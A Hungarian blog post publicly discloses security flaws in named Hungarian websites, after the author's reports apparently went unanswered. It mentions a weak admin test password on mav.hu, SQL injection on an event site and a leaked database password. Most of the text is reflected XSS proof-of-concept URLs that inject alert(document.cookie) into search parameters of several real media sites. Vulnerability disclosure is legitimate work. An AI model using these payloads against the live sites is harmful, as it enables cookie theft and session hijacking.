Mivel a komolyabb hibákat jeleztem az üzemeltetők felé, visszajelzést viszont nem kaptam, íme a nagy magyar valóság:

A hétvégén érkezett néhány érdekesség a postaládámba. Ptzool például a mav.hu adminisztrátori szekciójában vette észre, hogy a teszt felhasználó jelszava, khm...nem kifejezetten erős. Egyébként az egész oldal átjáróháznak tűnik, ráférne némi glettelés...

Frissítés: A kedves MÁV informatikás kollegák valahova áttették az admin felületet, miután megkapták az e-mailem (nem lett volna egyszerűbb rendes jelszavakat választani...), válaszolni persze már nem volt erejük. Sebaj, a site ettől ugyanúgy törhető marad...

Szicsu pedig egy rakat XSS-ről küldött tájékoztatást:

http://www.ok.hu/katalogus?q=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&mode=1&hol=1

http://depo.hu/kereses-%22%3E%3Cimg%20src=x%20onerror=alert%28document.cookie%29%20%3E

http://www.mindigtv.hu/SearchResult.aspx?searchStr=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://halatortan.tv2.hu/index.php?action=receptkereso&keyword=%22%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&sztar=1&olvaso=1&x=23&y=4

http://rtlklub.hu/archivum?keyword=%22%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&type=1&year_from=2004&month_from=01&day_from=01&year_until=2009&month_until=09&day_until=20&page=&channel=

http://www.hirtv.hu/?application=holmessearch&holmessearch_resid=887334&holmessearch_type=Advanced&holmessearch_artpage=1&holmessearch_productpage=1&holmessearch_exclsite=&holmessearch_inclsite=&holmessearch_fragment=2&holmessearch_exclude=&holmessearch_pageing=0&holmessearch_idonsite=&holmessearch_sortbydate=1&holmessearch_searchText=%22%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&holmessearch_how=3&holmessearch__search=keres%E9s&holmessearch_contenttypearticle=1&holmessearch_contenttypeforum=0&holmessearch_contenttypeproduct=0

http://atv.hu/kereses ( postol és getre nem lehet rávenni, tehát csak játszani lehet: "<script>alert(document.cookie)</script> )

Egy magát megnevezni nem kívánó illető az egyébként remek programnak ígérkező Kutatók Éjszakája oldalában talált elég triviális SQL injection sebezhetőségeket, végül pedig a StarBlog-on jelent meg egy kép, amin a Pécsi Közlekedési Zrt. okádja ki magából az adatbázisjelszót csak úgy spontán. Nem mintha amúgy nem lehetne triviálisan szétrontani az alkalmazást...

Remélem olvassák az illetékesek...